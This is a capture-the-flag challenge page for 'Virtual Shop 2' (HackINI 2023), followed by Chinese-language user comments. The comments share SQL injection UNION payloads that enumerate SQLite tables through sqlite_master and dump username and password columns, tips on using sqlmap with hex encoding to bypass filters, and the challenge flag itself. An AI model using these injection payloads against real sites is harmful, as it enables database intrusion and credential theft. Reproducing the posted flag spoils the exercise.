Virtual Shop 2WEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2023
题目作者: 未知
一　　血: heyile
一血奖励: 0金币
解　　决: 332
提　　示:
描　　述:
I'm not making the same mistake again this time, you can't guess my\ \ tables now.\n \n\n **Author**: F100w
...
登录回复
评论
你不懂的吧 1年前
举报

3、查出具体表的字段： ' union SELECT pw789,null,null,null FROM UsEErrSS1337987 --+

回复 0
你不懂的吧 1年前
举报

1、查出表有哪些表： ' union SELECT name,null,null,null FROM sqlite_master WHERE type='table' ; 2、查出表有哪些列 ：' union SELECT sql,null,null,null FROM sqlite_master WHERE type='table' AND name='UsEErrSS1337987';

回复 1
smtall 1年前
举报

sqlmap使用hex编码提取数据（绕过限制）

回复 0
MoCaser 1年前
举报

我......我......我一把梭战神口牙！！

回复 0
lq61618 2年前
举报

shellmates{Gg_b0Y_you_kNOW_w3ll_H0w_T0_uSe_uNiOn_4tTacK}

回复 0
xiaobai568 2年前
举报

我写了个WP，描述了手工注入的过程

回复 0
啊这这 2年前
举报

我的sqlmap没跑出来 用的level3 不过我花了十几分钟学了一下sqlite使用 做出来了 还是不错的

回复 0
xiaoxiao972521 2年前
举报

不晓得，sqlmap一把过

回复 0
justsosoloveyou 2年前
举报

' UNION SELECT (select group_concat(sql) from sqlite_master WHERE type='table'),NULL,NULL,(select group_concat(usnme324||':'||pw789) FROM UsEErrSS1337987)--+

回复 0
zhangye 2年前
举报

sqlmap跑时把之前跑的文件删了，不然给的是1的flag

回复 3
hopeinhand 2年前
举报

sqlmap一把梭

回复 0

WriteUp

image
sanshi

1 金币

立即查看

评分(0)

暂无评分

解题动态

wangmazikkll 攻破了该题 1天前
hdcc1 攻破了该题 2天前
fenicnn 攻破了该题 5天前
acdfp123 攻破了该题 7天前
爱吃馒头 攻破了该题 15天前
13615049106 攻破了该题 19天前
asdliuyan 攻破了该题 20天前
houst 攻破了该题 22天前
Kakivare 攻破了该题 28天前
Ahri 攻破了该题 1月前
yexiaoye 攻破了该题 1月前
JLing 攻破了该题 1月前
nickhu 攻破了该题 1月前
Q-Larry 攻破了该题 1月前
HamiLemon 攻破了该题 1月前
tenwool 攻破了该题 1月前
lalala2022 攻破了该题 2月前
lola 攻破了该题 2月前
pigpigG6768 攻破了该题 2月前
hsk_zy 攻破了该题 2月前
问题反馈